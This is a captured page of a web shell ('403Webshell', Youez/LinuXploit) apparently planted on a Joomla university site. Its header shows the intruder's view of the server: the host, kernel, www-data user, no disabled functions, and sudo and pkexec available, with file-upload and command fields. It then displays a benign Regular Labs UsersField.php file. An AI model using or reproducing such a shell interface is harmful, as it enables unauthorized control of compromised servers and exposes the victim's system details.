403Webshell
Server IP : 172.67.191.97  /  Your IP : 104.23.243.197
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/pregrados/contaduria-publica/libraries/regularlabs/src/Form/Field/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/pregrados/contaduria-publica/libraries/regularlabs/src/Form/Field/UsersField.php
<?php
/**
 * @package         Regular Labs Library
 * @version         23.12.10783
 * 
 * @author          Peter van Westen <[email protected]>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Library\Form\Field;

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\DB as RL_DB;
use RegularLabs\Library\Form\Form;
use RegularLabs\Library\Form\FormField as RL_FormField;

class UsersField extends RL_FormField
{
    static      $users;
    static      $users_count;
    public      $attributes     = [
        'show_current' => false,
    ];
    public bool $is_select_list = true;
    public bool $use_ajax       = true;

    public function getNamesByIds(array $values, array $attributes): array
    {
        $query = $this->db->getQuery(true)
            ->select('u.name, u.username, u.id, u.block as disabled')
            ->from('#__users AS u')
            ->where(RL_DB::is('u.id', $values))
            ->order('name');

        $this->db->setQuery($query);
        $users = $this->db->loadObjectList();

        if (in_array('current', $values))
        {
            array_unshift($users,
                (object) [
                    'id'     => 'current',
                    'name'   => JText::_('RL_CURRENT_USER'),
                    'add_id' => false,
                ]);
        }

        return Form::getNamesWithExtras($users, ['username', 'id', 'disabled']);
    }

    protected function getListOptions(array $attributes): array
    {
        if ($this->getUsersCount() > $this->max_list_count)
        {
            return -1;
        }

        $users = $this->getUsers();

        $options = $this->getOptionsByList(
            $users,
            ['username', 'id', 'disabled'],
            0,
            $this->get('username_as_value') ? 'username' : 'id',
        );

        if ( ! empty($attributes['show_current']))
        {
            array_unshift($options, JHtml::_('select.option', 'current', '- ' . JText::_('RL_CURRENT_USER') . ' -'));
        }

        return $options;
    }

    private function getUsers(): array
    {
        if ( ! is_null(self::$users))
        {
            return self::$users;
        }

        $query = $this->db->getQuery(true)
            ->select('u.name, u.username, u.id, u.block as disabled')
            ->from('#__users AS u')
            ->order('name');
        $this->db->setQuery($query);

        self::$users = $this->db->loadObjectList();

        return self::$users;
    }

    private function getUsersCount(): int
    {
        if ( ! is_null(self::$users_count))
        {
            return self::$users_count;
        }

        $query = $this->db->getQuery(true)
            ->select('COUNT(*)')
            ->from('#__users AS u');
        $this->db->setQuery($query);

        self::$users_count = $this->db->loadResult();

        return self::$users_count;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit